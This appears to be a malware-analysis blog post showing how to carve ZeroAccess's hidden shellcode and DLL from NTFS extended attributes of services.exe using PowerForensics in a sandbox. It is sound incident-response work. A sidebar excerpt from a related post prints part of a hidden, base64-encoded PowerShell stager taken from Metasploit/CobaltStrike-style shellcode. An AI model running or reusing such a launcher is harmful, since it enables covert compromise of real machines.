Skip to main content

Extracting ZeroAccess from NTFS Extended Attributes using PowerForensics


Introduction 

This post explains how to use PowerForensics (https://github.com/Invoke-IR/PowerForensics) to extract ZeroAccess infected system's NTFS extended attributes content. ZeroAccess used NTFS extended attributes to maintain persistent mechanism on infected system.

"If installed on Windows Vista or higher ZeroAccess will attempt to patch the Windows file services.exe. A subroutine inside services.exe is overwritten with shellcode that is carried inside the ZeroAccess dropper.
A large amount of binary data is also written to the NTFS Extended Attributes of services.exe. Extended Attributes are a feature of NTFS similar in nature to Alternate Data Streams where extra information about the file can be stored on the file system. ZeroAccess uses this feature to hide a whole PE file as well as shellcode that loads the PE file. The overwritten subroutine in services.exe reads in all the data from the Extended Attributes and executes it. The shellcode then loads and executes the embedded PE file. This file is a DLL that has equivalent functionality to the main component, so the services.exe modifications provide a backup means for the bot to function if the two main components are discovered and removed."

Source: http://journeyintoir.blogspot.in/2012/12/extracting-zeroaccess-from-ntfs.html

Tools
  1. PowerForensics - PowerForensics provides an all in one platform for live disk forensic analysis (https://github.com/Invoke-IR/PowerForensics) 
  2. analyzeMFT (https://github.com/dkovar/analyzeMFT) 
  3.  Hex Editor 
Disclaimer    
  • You are dealing with real malware samples
  • Don’t expose them to internal networks or internet
  • Analyze them in a controlled environments (sandboxes)
  • We are not responsible for any consequences of damage if you fail to obey the rules
 Analysis 

A windows 7 virtual machine was setup with above mentioned tools. Ensured that a clean state of windows 7 with all tools was taken as a snapshot.  The below mentioned ZeroAccess variant is going to be run on windows 7 sandbox.

Hash 
MD5 : c6e73a75284507a41da8bef0db342400

The $MFT file can be parsed using two methods to observe for any extended attributes. The first method is offline $MFT file analysis using analyzeMFT.py which is an intelligent way to check for any type of interested attribute. It's always recommended to parse and analyze MFT entry attributes 

 
Extracting  $MFT  using Get-ForensicFileRecord

Get-ForensicChildItem lists all files including protected files and file system metadata files. Observe that $MFT itself is having an entry in $MFT file  with record number 0. 
Offline $MFT Analysis: Parsing $MFT before infecting ZeroAccess. The tool analyzeMFT.py is used to parse offline $MFT file
A quick filter on $EA attribute shows services.exe is not associated with any extended attribute content

A quick look at the MFT  record of services.exe shows that it does not have any additional data streams (apart from legitimate $DATA attribute) like Alternate Data Streams (ADS-an extra $DATA attribute) and Extended Attributes (EA & EA_INFORMATION)

PowerForensics cmdlet  Get-ForensicFileRecord shows the below output where no extended attribute was observed


The live analysis of $MFT on windows 7 prior to infection shows no extended attributes
Once the ZeroAcess  specimen is executed, it disguised as AdobeFlash player and was asked to accept installation of Adobe flash player
Let's check for any extended attributes in services.ex. The below output shows that record number of services.exe has been changed
The Extended attribute was also observed in patched services.exe

To extract EA attribute content, the data run of the attribute is used to find the clusters allocated on volume
 Get-ForensicVolumeBootRecord 
Invoke-ForensicDD to extract the content
Invoke-ForensicDD -InFile \\.\C: -OutFile C:\demo\ze_extended_attribute -Offset ($dr[0].StartCluster*$vbr.BytesPerCluster) -BlockSize ($dr[0].ClusterLength*$vbr.BytesPerCluster) -Count 1 


The extracted file was extracted in C:\demo folder. View the contents of extracted file

The shellcode was observed at the beginning of the file followed by a traditional MZ header and modern PE header 
The extracted file is opened in hexeditor to trim the shellcode content and save the file with MZ header at offset 0. The hash values of both files are submitted to virustotal.com.
Malware initial assessment using pestudio https://www.winitor.com/



 Offline $MFT analysis using analyzeMFT.py after infection shows extended attributes of other files including services.exe
In the End ... 
Further analysis needs to be done on extracted content from NTFS extended attributes ($EA & $EA_INFORMATION). PowerForensics is  going to be more efficient while performing a live response or offline forensic analysis of images

Thanks to 
 PowerForensics - https://github.com/Invoke-IR/PowerForensics - @jaredcatkinson
 








Labels:

Comments

Post a Comment

Popular posts from this blog

Memory Analysis of WannaCry Ransomware

Introduction  This post explains the memory dump analysis of WannaCry infected system using volatility (An open source memory forensics framework) and other open source tools. It doesn't cover the analysis of initial infection vector, propagation and recovery of infected system. The objective is to leverage memory forensic analysis to uncover and extract Indicators of Compromise (IoC)  WannaCry  WannaCry (or WannaCrypt, WanaCrypt0r 2.0, Wanna Decryptor) is a ransomware program targeting the Microsoft Windows operating system. On Friday, 12 May 2017, a large cyber-attack using it was launched, infecting more than 230,000 computers in 150 countries, demanding ransom payments in the cryptocurrency bitcoin in 28 languages.The attack has been described by Europol as unprecedented in scale. https://en.wikipedia.org/wiki/WannaCry_ransomware_attack Discalimer You are dealing with real malware samples Don’t expose them to internal networks or internet Analyze them in a controlle
60 comments
Read more

Malicious office doc with process hollowing shellcode

Introduction  This post covers how to identify and extract shellcode manually from hancitor phishing office document. Refer  Part-1  and  Part-2  to get an understanding of  tools and approach to analyse phishing documents.  Tools  Didier Stevens Suite    sudo pip install oletools  Analysis   SHA256:  5d077b1341a6472f02aac89488976d4395a91ae4f23657b0344da74f4a560c8d   This sample contains encoded shellcode that starts a new (suspended) explorer.exe process, injects its own code (an embedded, encoded exe) and executes it.  This maldoc leverages  VBA macros  to execute its payload  and t he encoded shellcode is a property in stream 17.  T he shellcode uses WIN32 API functions like CreateProcess, ZwUnmapViewOfSection, GetThreadContext, ResumeThread etc. to inject code into the newly created process (explorer.exe) and execute it. This method is called process hollowing or process replacement.The explorer.exe process is created in a suspended state, the code for explore
1 comment
Read more

Decoding Metasploit and CobaltStrike shells

Introduction This post is about how to decode one type of shellcode generated by Metasploit framework and CobaltStrike to get the C2 domain/IP address so that the incident responder can able to identify and block the further adversary activity. FYI this post doesn't cover the initial infection vector (like phishing thorough office maldoc) or how the shellcode will get generated (like from Metasploit framework or Cobaltstrike ). It leverages CyberChef to fully decode and get the shellcode from an encoded powershell command and further it will be fed into scdbg  emulator to get the IP address of C2 or an adversary ShellCode Here we have the encoded powershell command  powershell.exe -nop -w hidden -e aQBmACgAWwBJAG4AdABQAHQAcgBdADoAOgBTAGkAegBlACAALQBlAHEAIAA0ACkAewAkAGIAPQAnAHAAbwB3AGUAcgBzAGgAZQBsAGwALgBlAHgAZQAnAH0AZQBsAHMAZQB7ACQAYgA9ACQAZQBuAHYAOgB3AGkAbgBkAGkAcgArACcAXABzAHkAcwB3AG8AdwA2ADQAXABXAGkAbgBkAG8AdwBzAFAAbwB3AGUAcgBTAGgAZQBsAGwAXAB2ADEALgAwAFwAcABvAHcAZQByAH
1 comment
Read more